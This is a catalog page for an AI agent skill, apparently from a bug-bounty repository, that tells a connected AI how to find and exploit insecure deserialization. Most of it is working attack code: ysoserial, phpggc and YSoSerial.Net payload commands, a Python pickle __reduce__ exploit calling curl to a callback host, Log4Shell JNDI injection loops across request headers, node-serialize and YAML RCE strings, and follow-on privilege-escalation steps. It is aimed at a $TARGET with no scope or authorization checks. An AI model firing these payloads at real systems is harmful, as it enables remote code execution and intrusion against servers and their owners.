HUNT-DESERIALIZATION — Insecure Deserialization

SkillAI & models

Guides your agent to find insecure deserialization flaws like Java gadget chains and Python pickle bugs in a target.

Available today. Use it from your connected AI after setup.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the HUNT-DESERIALIZATION — Insecure Deserialization skill

About this capability

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on

What this skill tells your AI

The instructions your AI receives, as published by elementalsouls/claude-bughunter in skills/hunt-deserialization/SKILL.md and read by ahel’s review.

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection__wakeup / __destruct magic methods → file write / RCE
  • Python picklepickle.loads(attacker_data)__reduce__os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
  • JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 3b — PHP phar://, Python YAML, Node deserialization

  • PHP phar:// (no unserialize() call) — any filesystem function (file_exists/fopen/getimagesize) on a phar:// path deserializes the archive metadata -> object injection with zero unserialize() in code.
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    # then reach  phar://uploads/poly.jpg/x  via any fs call
    
  • Python yaml.load() (CVE-2017-18342) — pre-5.1 default-unsafe: !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
  • Node node-serialize (CVE-2017-5941) — IIFE marker in any field passed to unserialize(): {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}

Phase 4 — .NET ViewState

# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

Chain Table

Deserialization signalChain toImpact
Any deser RCE/etc/passwd + id outputProve arbitrary command execution
RCE as low-privilege userFind SUID binaries / sudo rulesPrivilege escalation → root
Blind RCE (OOB callback)DNS callback → confirm execSufficient for Critical PoC
Log4ShellLDAP → JNDI → class loadFull RCE on JVM process

Automation

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

Validation

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed

Severity: Almost always Critical — RCE with server process privileges.

Signals

GitHub stars
4k
Forks
668
Last commit
Sep 2026
Advanced
Catalog kind
skill
Gateway key
hunt-deserialization
Source
github.com/elementalsouls/claude-bughunter